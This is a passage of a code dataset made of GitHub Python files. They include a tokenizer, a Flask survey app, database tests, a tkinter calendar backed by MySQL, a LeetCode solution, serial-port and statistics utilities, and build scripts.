text_to_sequence(self, text):\n \"\"\"Convert text to sequence of integer words indexes\n\n Parameters\n ----------\n text : str\n A text.\n\n Returns\n -------\n list[int]\n A sequence of integers representing the text.\n \"\"\"\n doc = nlp(text)\n\n # make a sequence with\n sequence = [self.vocab[\"\"]]\n for token in doc:\n if token.lower_ in self.vocab:\n sequence.append(self.vocab[token.lower_])\n elif self.oov:\n sequence.append(self.vocab[\"\"])\n sequence.append(self.vocab[\"\"])\n\n if self.max_len is not None or len(sequence) > self.max_len:\n sequence = sequence[: self.max_len]\n sequence[-1] = self.vocab[\"\"]\n\n if self.max_len is not None and self.pad_sequences:\n sequence += [0] * (self.max_len - len(sequence))\n\n return sequence\n\n def sequence_to_text(self, sequence):\n inv_vocab = dict((v, k) for k, v in self.vocab.items())\n return \" \".join(inv_vocab[x] for x in sequence if x >= 1)\n\n def clean_text(self, text):\n special_tokens = (\"\", \"\", \"\")\n return \" \".join(\n token for token in text.split(\" \") if token not in special_tokens\n )\n\n def save_to_json(self):\n \"\"\"Save the current tokenizer (with vocab) as JSON\n\n Useful to store the tokenizer after fitting it. This JSON will be\n stored in the same package and will be used to load the tokenizer\n using the `from_json` method.\n \"\"\"\n current_dir = Path(__file__).resolve().parent\n d = {\n \"max_len\": self.max_len,\n \"vocab_size\": self.vocab_size,\n \"oov\": self.oov,\n \"pad_sequences\": self.pad_sequences,\n \"vocab\": self.vocab,\n }\n with (current_dir / \"tokenizer.json\").open(\"w\") as file:\n json.dump(d, file, indent=4)\n\n @staticmethod\n def from_json():\n \"\"\"Load a tokenizer from a JSON saved with `save_to_json`\n\n Returns\n -------\n CustomSpacyTokenizer\n The loaded tokenizer with initialized vocab\n \"\"\"\n current_dir = Path(__file__).resolve().parent\n with (current_dir / \"tokenizer.json\").open(\"r\") as file:\n config = json.load(file)\n vocab = config[\"vocab\"]\n del config[\"vocab\"]\n\n tokenizer = CustomSpacyTokenizer(**config)\n tokenizer.vocab = vocab\n\n return tokenizer\n\n @staticmethod\n def from_config():\n \"\"\"Utility method to load a tokenizer with the params set in `config.py`\n\n This tokenizer is not trained! If you already fitted a tokenizer, and saved it to\n a JSON file using `save_to_json`, don't call this method.\n This is a method created just to have the tokenizer config in a single point for\n the entire application.\n \"\"\"\n config = TokenizerConfig()\n return CustomSpacyTokenizer(\n max_len=config.MAX_LEN,\n vocab_size=config.VOCAB_SIZE,\n oov=config.OOV,\n pad_sequences=config.PAD_SEQUENCES,\n )\n","repo_name":"nicolafan/image-captioning-cnn-rnn","sub_path":"src/features/nlp/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":5959,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"22834582209","text":"from flask import Flask, render_template, request, redirect, session\napp = Flask(__name__)\napp.secret_key = 'keep it secret, keep it safe'\n\n@app.route('/')\ndef index():\n return render_template(\"index.html\")\n\n@app.route('/result', methods=['POST']) \ndef result():\n yourName=request.form['your_name']\n session['yourName']=yourName\n yourPet=request.form['pet']\n session['yourPet']=yourPet\n fav=request.form['fav']\n session['fav']=fav\n comment=request.form['comment']\n session['comment']=comment\n if 'choice' not in request.form:\n choice = '...'\n else:\n choice=request.form['choice']\n session['choice']=choice\n if request.form.get('confession') == None:\n confession = '...'\n else:\n confession=request.form.get('confession')\n session['confession']=confession\n return render_template(\"result.html\",yourName=yourName, yourPet=yourPet, fav=fav, comment=comment, choice=choice, confession=confession)\n \nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"WijiPe/Python-Stack","sub_path":"flask/fundamentals/Dojo_Survey/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7029898698","text":"import unittest\nfrom db_interface import DBInterface\nfrom subprocess import call\nimport os\n\nfrom create_test_database import movies_data, projections_data, reservations_data\n\n\nclass DBInterfaceTest(unittest.TestCase):\n \"\"\"docstring for DBInterfaceTest\"\"\"\n def setUp(self):\n call(\"py create_test_database.py\", shell=True)\n self.dbi = DBInterface(\"cinema_test.db\")\n self.movies = movies_data()\n self.projections = projections_data()\n self.reservations = reservations_data()\n\n def test_get_movies(self):\n self.movies = sorted(self.movies, key=lambda k: k['rating'], reverse=True)\n self.assertEqual(self.movies, self.dbi.get_movies_by_rating())\n\n def test_get_movie_projections(self):\n expected = [{\n \"id\": 1,\n \"movie_id\": 1,\n \"type\": \"3D\",\n \"date\": \"2014-04-01\",\n \"time\": \"19:10\"\n }, {\n \"id\": 3,\n \"movie_id\": 1,\n \"type\": \"2D\",\n \"date\": \"2014-04-01\",\n \"time\": \"19:00\"\n }, {\n \"id\": 2,\n \"movie_id\": 1,\n \"type\": \"4DX\",\n \"date\": \"2014-04-02\",\n \"time\": \"21:00\"\n }]\n self.assertEqual(expected, self.dbi.get_movie_projections(1))\n\n def test_get_movie_projections_for_date(self):\n expected = [{\n \"id\": 1,\n \"movie_id\": 1,\n \"type\": \"3D\",\n \"date\": \"2014-04-01\",\n \"time\": \"19:10\"\n }, {\n \"id\": 3,\n \"movie_id\": 1,\n \"type\": \"2D\",\n \"date\": \"2014-04-01\",\n \"time\": \"19:00\"\n }]\n self.assertEqual(expected, self.dbi.get_movie_projections(1, \"2014-04-01\"))\n\n def test_get_projection_seats(self):\n matrix = self.dbi.get_matrix()\n matrix[1][0] = 1\n matrix[2][4] = 1\n matrix[6][7] = 1\n self.assertEqual(matrix, self.dbi.get_projection_seats(1))\n\n def test_get_projection_remaining_seats(self):\n self.assertEqual(97, self.dbi.get_projection_remaining_seats(1))\n\n def test_get_reservation_by_name(self):\n expected = [{\n \"id\": 1,\n \"username\": \"RadoRado\",\n \"projection_id\": 1,\n \"row\": 2,\n \"col\": 1\n }, {\n \"id\": 2,\n \"username\": \"RadoRado\",\n \"projection_id\": 1,\n \"row\": 3,\n \"col\": 5\n }, {\n \"id\": 3,\n \"username\": \"RadoRado\",\n \"projection_id\": 1,\n \"row\": 7,\n \"col\": 8\n }]\n self.assertEqual(expected, self.dbi.get_reservation_by_name(\"RadoRado\"))\n\n def test_delete_reservation_by_name(self):\n self.assertTrue(self.dbi.delete_reservation_by_name(\"RadoRado\"))\n self.assertEqual([], self.dbi.get_reservation_by_name(\"RadoRado\"))\n\n def tearDown(self):\n try:\n os.remove(\"cinema_test.db\")\n except OSError:\n pass\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"tblazhev/HackBulgaria-Programming101","sub_path":"Week4/cinema/db_interface_tests.py","file_name":"db_interface_tests.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12642446505","text":"import string\r\nimport tkinter as tk\r\nimport tkinter.ttk as ttk\r\nimport datetime as da\r\nimport calendar as ca\r\nfrom turtle import width\r\nimport pymysql.cursors\r\nfrom tkinter import scrolledtext\r\n\r\n\r\nWEEK = ['日', '月', '火', '水', '木', '金', '土']\r\nWEEK_COLOUR = ['red', 'black', 'black', 'black','black', 'black', 'blue']\r\nactions = ('学校','試験', '課題', '行事', '就活', 'アルバイト','旅行')\r\n\r\nclass YicDiary:\r\n def __init__(self, root):\r\n root.title('予定管理アプリ')\r\n root.geometry('520x280')\r\n root.resizable(0, 0)\r\n root.grid_columnconfigure((0, 1), weight=1)\r\n self.sub_win = None\r\n\r\n self.year = da.date.today().year\r\n self.mon = da.date.today().month\r\n self.today = da.date.today().day\r\n\r\n self.title = None\r\n # 左側のカレンダー部分\r\n leftFrame = tk.Frame(root)\r\n leftFrame.grid(row=0, column=0)\r\n self.leftBuild(leftFrame)\r\n\r\n # 右側の予定管理部分\r\n rightFrame = tk.Frame(root)\r\n rightFrame.grid(row=0, column=1)\r\n self.rightBuild(rightFrame)\r\n\r\n\r\n #-----------------------------------------------------------------\r\n # アプリの左側の領域を作成する\r\n #\r\n # leftFrame: 左側のフレーム\r\n def leftBuild(self, leftFrame):\r\n self.viewLabel = tk.Label(leftFrame, font=('', 10))\r\n beforButton = tk.Button(leftFrame, text='<', font=('', 10), command=lambda:self.disp(-1))\r\n nextButton = tk.Button(leftFrame, text='>', font=('', 10), command=lambda:self.disp(1))\r\n\r\n self.viewLabel.grid(row=0, column=1, pady=10, padx=10)\r\n beforButton.grid(row=0, column=0, pady=10, padx=10)\r\n nextButton.grid(row=0, column=2, pady=10, padx=10)\r\n\r\n self.calendar = tk.Frame(leftFrame)\r\n self.calendar.grid(row=1, column=0, columnspan=3)\r\n self.disp(0)\r\n\r\n\r\n #-----------------------------------------------------------------\r\n # アプリの右側の領域を作成する\r\n #\r\n # rightFrame: 右側のフレーム\r\n def rightBuild(self, rightFrame):\r\n r1_frame = tk.Frame(rightFrame)\r\n r1_frame.grid(row=0, column=0, pady=10)\r\n\r\n temp = '{}年{}月{}日の予定'.format(self.year, self.mon, self.today)\r\n self.title = tk.Label(r1_frame, text=temp, font=('', 12))\r\n self.title.grid(row=0, column=0, padx=20)\r\n\r\n button = tk.Button(rightFrame, text='追加', command=lambda:self.add())\r\n button.grid(row=0, column=1)\r\n\r\n self.r2_frame = tk.Frame(rightFrame)\r\n self.r2_frame.grid(row=1, column=0)\r\n\r\n self.scrolledText = scrolledtext.ScrolledText(rightFrame, width=30, height=10)\r\n self.scrolledText.grid(column=0, row=10, columnspan=3, sticky=tk.W + tk.E, pady=50, padx=30)\r\n\r\n\r\n self.schedule()\r\n\r\n\r\n #-----------------------------------------------------------------\r\n # アプリの右側の領域に予定を表示する\r\n #\r\n def schedule(self):\r\n # ウィジットを廃棄\r\n for widget in self.r2_frame.winfo_children():\r\n widget.destroy()\r\n\r\n self.scrolledText.delete([1.0], tk.END)\r\n\r\n click_days = '{}-{}-{}'.format(self.year, self.mon, self.today)\r\n print(click_days)\r\n # データベースに予定の問い合わせを行う\r\n\r\n connection = pymysql.connect(host='127.0.0.1',\r\n user='root',\r\n password='',\r\n db='apr01',\r\n charset='utf8mb4',\r\n cursorclass=pymysql.cursors.DictCursor)\r\n\r\n try:\r\n connection.begin()\r\n with connection.cursor() as cursor:\r\n sql = ' \\\r\n SELECT kinds_name, memo, day FROM schedule \\\r\n inner join calendar on schedule.schedule_id = calendar.schedule_id \\\r\n inner join kinds on schedule.kinds_id = kinds.kinds_id \\\r\n where day = %s \\\r\n order by schedule.kinds_id DESC; \\\r\n '\r\n\r\n cursor.execute(sql, click_days)\r\n\r\n results = cursor.fetchall()\r\n\r\n for i, row in enumerate(results):\r\n string1 = row['kinds_name']\r\n string2 = row['memo']\r\n #string3 = string1 + ' ' + string2\r\n string3 = '[' + string1 + ']' + ' ' + string2\r\n print(string3)\r\n self.scrolledText.insert([1.0], string3)\r\n\r\n #connection.commit()\r\n\r\n except Exception as e:\r\n print('error', e)\r\n finally:\r\n connection.close()\r\n\r\n #-----------------------------------------------------------------\r\n # カレンダーを表示する\r\n #\r\n # argv: -1 = 前月\r\n # 0 = 今月(起動時のみ)\r\n # 1 = 次月\r\n def disp(self, argv):\r\n self.mon = self.mon + argv\r\n if self.mon < 1:\r\n self.mon, self.year = 12, self.year - 1\r\n elif self.mon > 12:\r\n self.mon, self.year = 1, self.year + 1\r\n\r\n self.viewLabel['text'] = '{}年{}月'.format(self.year, self.mon)\r\n\r\n cal = ca.Calendar(firstweekday=6)\r\n cal = cal.monthdayscalendar(self.year, self.mon)\r\n\r\n # ウィジットを廃棄\r\n for widget in self.calendar.winfo_children():\r\n widget.destroy()\r\n\r\n # 見出し行\r\n r = 0\r\n for i, x in enumerate(WEEK):\r\n label_day = tk.Label(self.calendar, text=x, font=('', 10), width=3, fg=WEEK_COLOUR[i])\r\n label_day.grid(row=r, column=i, pady=1)\r\n\r\n # カレンダー本体\r\n r = 1\r\n for week in cal:\r\n for i, day in enumerate(week):\r\n if day == 0: day = ' ' \r\n label_day = tk.Label(self.calendar, text=day, font=('', 10), fg=WEEK_COLOUR[i], borderwidth=1)\r\n if (da.date.today().year, da.date.today().month, da.date.today().day) == (self.year, self.mon, day):\r\n label_day['relief'] = 'solid'\r\n label_day.bind('', self.click)\r\n label_day.grid(row=r, column=i, padx=2, pady=1)\r\n r = r + 1\r\n\r\n # 画面右側の表示を変更\r\n if self.title is not None:\r\n self.today = 1\r\n self.title['text'] = '{}年{}月{}日の予定'.format(self.year, self.mon, self.today)\r\n\r\n\r\n #-----------------------------------------------------------------\r\n # 予定を追加したときに呼び出されるメソッド\r\n #\r\n def add(self):\r\n if self.sub_win == None or not self.sub_win.winfo_exists():\r\n self.sub_win = tk.Toplevel()\r\n self.sub_win.geometry(\"300x300\")\r\n self.sub_win.resizable(0, 0)\r\n\r\n # ラベル\r\n sb1_frame = tk.Frame(self.sub_win)\r\n sb1_frame.grid(row=0, column=0)\r\n temp = '{}年{}月{}日 追加する予定'.format(self.year, self.mon, self.today)\r\n title = tk.Label(sb1_frame, text=temp, font=('', 12))\r\n title.grid(row=0, column=0)\r\n\r\n # 予定種別(コンボボックス)\r\n sb2_frame = tk.Frame(self.sub_win)\r\n sb2_frame.grid(row=1, column=0)\r\n label_1 = tk.Label(sb2_frame, text='種別 : ', font=('', 10))\r\n label_1.grid(row=0, column=0, sticky=tk.W)\r\n self.combo = ttk.Combobox(sb2_frame, state='readonly', values=actions)\r\n self.combo.current(0)\r\n self.combo.grid(row=0, column=1)\r\n\r\n # テキストエリア(垂直スクロール付)\r\n sb3_frame = tk.Frame(self.sub_win)\r\n sb3_frame.grid(row=2, column=0)\r\n self.text = tk.Text(sb3_frame, width=40, height=15)\r\n self.text.grid(row=0, column=0)\r\n scroll_v = tk.Scrollbar(sb3_frame, orient=tk.VERTICAL, command=self.text.yview)\r\n scroll_v.grid(row=0, column=1, sticky=tk.N+tk.S)\r\n self.text[\"yscrollcommand\"] = scroll_v.set\r\n\r\n # 保存ボタン\r\n sb4_frame = tk.Frame(self.sub_win)\r\n sb4_frame.grid(row=3, column=0, sticky=tk.NE)\r\n button = tk.Button(sb4_frame, text='保存', command=lambda:self.done())\r\n button.pack(padx=10, pady=10)\r\n elif self.sub_win != None and self.sub_win.winfo_exists():\r\n self.sub_win.lift()\r\n\r\n\r\n #-----------------------------------------------------------------\r\n # 予定追加ウィンドウで「保存」を押したときに呼び出されるメソッド\r\n #\r\n def done(self):\r\n # データベースに新規予定を挿入する\r\n # 日付\r\n days = '{}-{}-{}'.format(self.year, self.mon, self.today)\r\n print(days)\r\n \r\n # 種別\r\n kinds = self.combo.get()\r\n print(kinds)\r\n\r\n kinds_dict= {'学校':1, '試験':2, '課題':3, '行事':4, '就活':5, 'アルバイト':6, '旅行':7}\r\n kinds_no = kinds_dict[kinds]\r\n\r\n # 予定詳細\r\n memo = self.text.get(\"1.0\", \"end\")\r\n print(memo)\r\n\r\n\r\n # 別表にしている人は、外部キーとして呼び出す値を得る\r\n # getKey() メソッドは(または関数)は自作すること\r\n #foreignKey = getKey(kinds) \r\n \r\n \r\n # データベースに接続\r\n connection = pymysql.connect(host='127.0.0.1',\r\n user='root',\r\n password='',\r\n db='apr01',\r\n charset='utf8mb4',\r\n cursorclass=pymysql.cursors.DictCursor)\r\n\r\n try:\r\n #トランザクション開始\r\n connection.begin()\r\n\r\n with connection.cursor() as cursor:\r\n # SQLの作成・定義\r\n sql = \"INSERT INTO calendar(day) VALUES(%s)\"\r\n # SQLの実行\r\n cursor.execute(sql, (days,))\r\n\r\n # SQLの作成・定義\r\n sql = \"SELECT MAX(schedule_id) FROM calendar\"\r\n # SQLの実行\r\n cursor.execute(sql)\r\n\r\n # 実行結果の受け取り(複数行の場合)\r\n results = cursor.fetchone()\r\n\r\n MAXID = results['MAX(schedule_id)']\r\n\r\n # SQLの作成・定義\r\n sql = \"INSERT INTO schedule(schedule_id, kinds_id, memo) VALUE(%s, %s, %s)\"\r\n # SQLの実行\r\n cursor.execute(sql, (MAXID, kinds_no, memo))\r\n\r\n\r\n connection.commit()\r\n \r\n except Exception as e:\r\n print('error:', e)\r\n connection.rollback()\r\n finally:\r\n connection.close()\r\n\r\n\r\n # この行に制御が移った時点で、DBとの接続は切れている\r\n self.sub_win.destroy()\r\n\r\n\r\n #-----------------------------------------------------------------\r\n # 日付をクリックした際に呼びだされるメソッド(コールバック関数)\r\n #\r\n # event: 左クリックイベント \r\n def click(self, event):\r\n day = event.widget['text']\r\n if day != ' ':\r\n self.title['text'] = '{}年{}月{}日の予定'.format(self.year, self.mon, day)\r\n self.today = day\r\n\r\n self.schedule()\r\n\r\n\r\ndef Main():\r\n root = tk.Tk()\r\n YicDiary(root)\r\n root.mainloop()\r\n\r\nif __name__ == '__main__':\r\n Main()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\"\"\"\r\nwith connection.cursor() as cursor:\r\n # 参照せれる側のデータ\r\n\r\n # SQLの作成、定義\r\n sql = \"INSERT INTO (date) date VALUES('{}-{}-{}')\".format(self.year, self.mon, self.today)\r\n print(sql)\r\n\r\n # SQLの実行\r\n cursor.execute(sql)\r\n\r\n # 上の捜査で挿入されたデータの主キーを取得\r\n\r\n sql = \"SELECT max(date_id) FROM date\"\r\n cursor.execute(sql)\r\n result = cursor.fetchone()\r\n\r\n foreignKey = result['max(date_id)']\r\n\r\n # 参照する側のデータを挿入\r\n # SQLの実行\r\n sql = \"INSERT INTO (date_id, type_id) hoge VALUES({}, {})\".format(foreignKey, 1)\r\n print(sql)\r\n\r\n # SQLの実行\r\n cursor.execute(sql)\r\n\r\n\r\n\"\"\"\r\n","repo_name":"B0021036/db_kadai1","sub_path":"YicDiary.py","file_name":"YicDiary.py","file_ext":"py","file_size_in_byte":11339,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7667374987","text":"class Solution:\n def numIdenticalPairs(self, nums: List[int]) -> int:\n ans,dic = 0,{}\n for i,j in enumerate(nums):\n if j in dic:\n ans += dic[j]\n dic[j] += 1\n else:\n dic[j] = 1\n return ans\n# Runtime: 32 ms, faster than 100.00% of Python3 online submissions for Number of Good Pairs.\n# Memory Usage: 13.6 MB, less than 100.00% of Python3 online submissions for Number of Good Pairs.\n","repo_name":"Kuehar/LeetCode","sub_path":"Number of Good Pairs.py","file_name":"Number of Good Pairs.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"24936397570","text":"f = open('plaintext.txt', 'r', encoding='utf-8')\nencryptedText = f.read()\nalphabetList = list(set(encryptedText))\nalphabetNumList = []\nfor i in set(encryptedText):\n num = encryptedText.count(i)\n alphabetNumList.append(num)\n\nalphabetFreqDict = dict(zip(alphabetList, alphabetNumList))\nalphabetFreqDict = sorted(alphabetFreqDict.items(), key=lambda x: x[1])\nprint(str(alphabetFreqDict))","repo_name":"xuanlin228/Cipher-Practice","sub_path":"Problem_2/alphabet_frequency.py","file_name":"alphabet_frequency.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"288139918","text":"class Solution:\n def solve(self, nums):\n nums.sort()\n left_sum = 0\n right_sum = sum(nums)\n\n for curr_num, next_sum in zip(nums, nums[1:]):\n left_sum += curr_num\n right_sum -= curr_num\n if left_sum == right_sum and curr_num < next_sum:\n return True\n\n return False\n","repo_name":"yaeba/binary-search-solutions","sub_path":"solutions/Set-Split.py","file_name":"Set-Split.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"28730481005","text":"import serial\nfrom time import time\nimport json\n\nSERIAL_PORT = \"/dev/ttyUSB0\"\n\nser = serial.Serial(\n SERIAL_PORT,\n baudrate=9600,\n bytesize=8,\n timeout=2,\n parity=\"N\",\n xonxoff=0,\n stopbits=serial.STOPBITS_ONE,\n)\n\ncommands = [\n \"DEFP cur\",\n \"HERE cur\",\n \"LISTPV cur\",\n \"DIMP dsadassa[2]\",\n \"HERE dsadassa[1]\",\n \"SETPVC dsadassa[1] X 6500\",\n]\n\nreports = []\nfor cmd in commands:\n\n ser.write(bytes(cmd + \"\\r\", \"Ascii\"))\n\n start_for_timeout = time()\n start = start_for_timeout\n\n time_between_writes = []\n bytes_to_read = []\n answers_parts = []\n\n quit = False\n while not quit:\n\n while True:\n # Global timeout\n if time() - start_for_timeout > 3:\n quit = True\n break\n\n to_read = ser.in_waiting\n\n if to_read:\n break\n\n if not quit:\n end = time()\n\n time_between_writes.append(round(end - start, 3))\n bytes_to_read.append(to_read)\n answers_parts.append(ser.read(to_read).decode(\"Ascii\"))\n\n start = end\n\n reports.append(\n {\n \"command\": cmd,\n \"total_time\": sum(time_between_writes),\n \"n_writes\": len(bytes_to_read),\n \"time_between_writes\": time_between_writes,\n \"answerpointss_parts\": answers_parts,\n \"bytes_to_read\": bytes_to_read,\n }\n )\n\njson_string = json.dumps(reports, indent=4)\n\nwith open(\"text_files/report.json\", \"w\") as f:\n f.write(json_string)\n","repo_name":"TiagoLourinho/serial-manipulator-drawings","sub_path":"source/serial_test.py","file_name":"serial_test.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"6865292142","text":"import math\n\nimport numpy as np\nfrom pandas import Series\n\n\ndef block_average(series: Series, n_block=5) -> (float, float):\n '''\n Get block average and standard error\n '''\n block_aves = average_of_blocks(series, n_block)\n ave, stderr = np.mean(block_aves), np.std(block_aves, ddof=1) / math.sqrt(n_block)\n stderr = float('%.1e' % stderr) # 2 effective number for stderr\n return ave, stderr\n\n\ndef average_of_blocks(series: Series, n_block=5) -> [float]:\n '''\n Split data to several blocks and return the average of each block\n '''\n n_points = len(series)\n block_size = n_points // n_block\n blocks = []\n for n in range(n_block - 1):\n blocks.append(series.iloc[block_size * n:block_size * (n + 1)])\n blocks.append(series.iloc[block_size * (n_block - 1):])\n block_aves = [np.mean(b) for b in blocks]\n return block_aves\n\n\ndef is_converged(series: Series, frac_min=0.5) -> (bool, float):\n from pymbar import timeseries\n\n n_points = len(series)\n array = np.array(series)\n t0, g, Neff_max = timeseries.detectEquilibration(array, nskip=max(1, n_points // 100))\n if t0 > n_points * (1 - frac_min):\n return False, series.index[t0]\n return True, series.index[t0]\n\n\ndef efficiency_with_block_size(l: [float]) -> [float]:\n array = np.array(l)\n n_points = len(l)\n bsize_list = []\n n_block_list = []\n s_list = []\n\n for bsize in range(1, int(math.sqrt(n_points))):\n n_block = int(n_points / bsize)\n bsize_list.append(bsize)\n n_block_list.append(n_block)\n\n for n_block in range(int(math.sqrt(n_points)), 4, -1):\n bsize = int(n_points / n_block)\n bsize_list.append(bsize)\n n_block_list.append(n_block)\n\n for i, bsize in enumerate(bsize_list):\n n_block = n_block_list[i]\n blocks = np.array_split(array, n_block)\n ave_blocks = [np.mean(block) for block in blocks]\n std_ave_blocks = np.std(ave_blocks, ddof=1)\n s = bsize * std_ave_blocks ** 2 / np.std(array) ** 2\n s_list.append(s)\n\n import pylab\n pylab.plot(bsize_list, s_list, '.')\n pylab.show()\n\n\ndef mean_and_uncertainty(series: Series, inefficiency=None) -> (float, float):\n from pymbar import timeseries\n\n ave = np.mean(series)\n array = np.array(series)\n if inefficiency == None:\n inefficiency = timeseries.statisticalInefficiency(array)\n return ave, np.std(array, ddof=1) / math.sqrt(len(array) / inefficiency)\n\n","repo_name":"sungroup-sjtu/AIMS_Tools","sub_path":"mstools/analyzer/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10888612157","text":"\"\"\"\nEjercicio 21.\n - Escribir una aplicación que reciba una cantidad infinita de números hasta el usuario escriba 'basta'\n - El recibir el stop, devolver la suma de los números ingresados\n\"\"\"\n\ndef ciclo_inf():\n resultado = 0\n while True:\n entrada = input('Ingrese número: ')\n if entrada == 'basta': #terminar el ciclo si la entrada es 'basta'\n print('Entrada: basta. Ciclo terminado')\n print(f'El acumulado total es: {resultado}')\n break #romper el ciclo\n else:\n try:\n entrada = float(entrada) #casting a flotante\n resultado += entrada #acumular entradas válidas\n except: #notificar y omitir si la entrada no es un número\n print(f'{entrada}, no es válido')\n\nciclo_inf()","repo_name":"AndresNunezG/ejercicios_python_udemy","sub_path":"ejercicio_21.py","file_name":"ejercicio_21.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5564817093","text":"from setuptools import setup\r\n\r\n\r\ndef readme():\r\n with open('README.md') as f:\r\n read_me = f.read()\r\n return read_me\r\n\r\n\r\nsetup(\r\n name=\"draw-missing\",\r\n version=\"1.0.0\",\r\n description=\"A Python package to visualize missing values in a data frame\",\r\n long_description=readme(),\r\n long_description_content_type=\"text/markdown\",\r\n url=\"https://github.com/Tejas003/draw_missing\",\r\n author=\"Tejas Sanjay Shinde\",\r\n license=\"MIT\",\r\n classifiers=[\r\n \"License :: OSI Approved :: MIT License\",\r\n \"Programming Language :: Python :: 3\",\r\n \"Programming Language :: Python :: 3.6\",\r\n \"Programming Language :: Python :: 3.7\",\r\n \"Operating System :: OS Independent\",\r\n ],\r\n py_modules=[\"drawmissing\"],\r\n install_requires=[\"matplotlib\"],\r\n package_dir={'': 'Draw-Missing'}\r\n\r\n)\r\n\r\n\r\n\r\n","repo_name":"Tejas003/draw_missing","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26619794194","text":"# WizIO 2018 Georgi Angelov\n# http://www.wizio.eu/\n# https://github.com/Wiz-IO\n\nfrom os.path import join\nfrom SCons.Script import (AlwaysBuild, Builder, COMMAND_LINE_TARGETS, Default, DefaultEnvironment)\n\nenv = DefaultEnvironment()\nCORE = env.BoardConfig().get(\"build.core\")\n\nenv.Replace(\n BUILD_DIR = env.subst(\"$BUILD_DIR\").replace(\"\\\\\", \"/\"),\n AR=\"arm-none-eabi-ar\",\n AS=\"arm-none-eabi-as\",\n CC=\"arm-none-eabi-gcc\",\n GDB=\"arm-none-eabi-gdb\",\n CXX=\"arm-none-eabi-g++\",\n OBJCOPY=\"arm-none-eabi-objcopy\",\n RANLIB=\"arm-none-eabi-ranlib\",\n SIZETOOL=\"arm-none-eabi-size\",\n ARFLAGS=[\"rc\"],\n SIZEPROGREGEXP=r\"^(?:\\.text|\\.data|\\.bootloader)\\s+(\\d+).*\",\n SIZEDATAREGEXP=r\"^(?:\\.data|\\.bss|\\.noinit)\\s+(\\d+).*\",\n SIZECHECKCMD=\"$SIZETOOL -A -d $SOURCES\",\n SIZEPRINTCMD='$SIZETOOL --mcu=$BOARD_MCU -C -d $SOURCES',\n PROGSUFFIX=\".elf\", \n UPLOADNAME=join(\"$BUILD_DIR\", \"${PROGNAME}.cfg\"),\n)\n\n####################################################\n# Select Module\n####################################################\nif \"BC66\" in CORE.upper(): \n from opencpu_bc66 import bc66_init\n bc66_init(env)\nelif \"M66\" in CORE.upper(): \n from opencpu_m66 import m66_init\n m66_init(env)\nelif \"MC60\" in CORE.upper(): \n from opencpu_mc60 import mc60_init\n mc60_init(env) \nelse:\n sys.stderr.write(\"Error: Unsupported module %s\\n\" % CORE.upper())\n env.Exit(1)\n\n","repo_name":"Senrecon/platform-quectel","sub_path":"builder/frameworks/opencpu.py","file_name":"opencpu.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"22654284966","text":"import json\n\nfrom log.log import write_log\n\nlogger = write_log(__name__)\n\n# 判断是否是json\nimport json\n\n\ndef is_json(response):\n try:\n json_object = json.loads(response)\n except ValueError as e:\n return False\n return True\n\n\ndef expect_result(response, expect):\n # 先判断期望值是什么,假如期望值不为空\n print(type(response))\n if len(expect) != 0:\n if is_json(response):\n response = response\n else:\n print('jso')\n response= response.replace(\"'\", '\"')\n response = json.dumps(response)\n print(type(response))\n print(response)\n\n # print('dfghj', response['timestamp'], '4567', response['data']['timestamp'])\n\n\n\n\n # if 'timestamp' in response.keys():\n # print('dasdsad')\n # temp = k\n # break\n # k = k + 1\n # if (temp != -1):\n # del response[temp]['timestamp']\n\n # if 'timestamp' in response.keys():\n # del response['timestamp']\n\n # 如果expect值在response中查不到值\n # if response.find(expect) != -1:\n # print('11')\n # logger.info('11111')\n # return True\n # else:\n # print('22')\n # return False\n\n else:\n print('33')\n return False\n\n\nif __name__ == '__main__':\n response = \"{'code': 0, 'msg': 'success', 'data': {'appId': 'wx31c7934513c73da4', 'nonceStr': '520865f8-6807-4540-a4eb-869a61246a50', 'signature': '8aa4b26375113b6b8c6cc2420048814101815681', 'timestamp': 1600401373}, 'timestamp': 1600401373}\"\n expect = \"'appId': 'wx31c7934513c73da4'\"\n expect_result(response, expect)\n","repo_name":"YanmeiLiu/TestTools","sub_path":"api_auto/pracyise.py","file_name":"pracyise.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
